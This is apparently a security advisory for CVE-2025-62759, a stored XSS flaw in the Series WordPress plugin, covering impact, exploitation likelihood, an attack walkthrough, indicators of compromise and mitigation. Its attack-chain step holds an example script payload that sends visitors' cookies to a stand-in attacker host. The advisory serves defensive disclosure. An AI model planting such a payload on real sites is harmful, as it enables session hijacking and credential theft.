CVE-2025-62759: 
WordPress vulnerability analysis and mitigation

CVE-2025-62759 is a Stored Cross-Site Scripting (XSS) vulnerability in the Justin Tadlock "Series" WordPress plugin, affecting all versions through 2.0.1. The vulnerability was reported by Muhammad Yudha - DJ on October 25, 2025, and publicly disclosed by Patchstack on December 31, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium), assigned by Patchstack (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a Stored XSS flaw in the Series WordPress plugin. An authenticated attacker with at least Contributor or Developer-level privileges can inject malicious scripts into web page content managed by the plugin, which are then persistently stored and executed in victims' browsers when they visit affected pages. Exploitation requires user interaction — a privileged user must perform an action such as visiting a crafted page — and the vulnerability has a Changed scope, meaning the impact can extend beyond the vulnerable component itself (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WordPress site, which execute in the browsers of any user who visits the affected pages. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims, and delivery of malicious redirects or advertisements to site visitors. The Changed scope in the CVSS vector indicates that the impact can extend beyond the plugin itself to affect the broader WordPress application and its users (Patchstack).

No evidence of active in-the-wild exploitation or public proof-of-concept exploit code has been reported for this vulnerability. The EPSS score is approximately 0.033% (0.000330), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack rates this as low priority and notes it is unlikely to be exploited, though it acknowledges that XSS vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Series plugin version 2.0.1 or earlier using tools like WPScan or by inspecting plugin directories.
2. Obtain low-privileged access: Acquire or create an account with at least Contributor or Developer-level privileges on the target WordPress site.
3. Inject malicious payload: Using the Series plugin's content management interface, insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field that is stored by the plugin.
4. Trigger victim interaction: Wait for or socially engineer a higher-privileged user (e.g., an administrator) to visit the page containing the injected content.
5. Achieve objective: The stored script executes in the victim's browser, enabling session cookie theft, credential harvesting, or further malicious actions on behalf of the victim (Patchstack).

• Logs: WordPress access logs showing POST requests to Series plugin endpoints from low-privileged user accounts containing encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, onload=).
• File System: Unexpected modifications to WordPress database entries associated with the Series plugin containing obfuscated JavaScript or HTML payloads.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting pages managed by the Series plugin, potentially indicating cookie or credential exfiltration.
• Application: Unusual redirects or unexpected advertisements appearing on pages rendered by the Series plugin, which may indicate injected payload execution.

As of the disclosure date (December 31, 2025), Patchstack reported no official patch was available from the plugin author. Site administrators should immediately assess whether the Series plugin is in use and consider deactivating or removing it until an official fix is released. Restricting Contributor and Developer role assignments to trusted users can reduce the attack surface. Patchstack customers received early warning and virtual patching protection as of December 31, 2025 (Patchstack). Monitor the WordPress plugin repository and Patchstack database for an updated patched version (noted as 2.0.2 or later in Feedly intelligence).

The vulnerability was discovered by security researcher Muhammad Yudha - DJ and reported through Patchstack's vulnerability disclosure program. Patchstack classified it as low priority with unlikely exploitation impact. No significant vendor statements, notable researcher commentary, or major media coverage beyond standard vulnerability database listings have been identified for this CVE.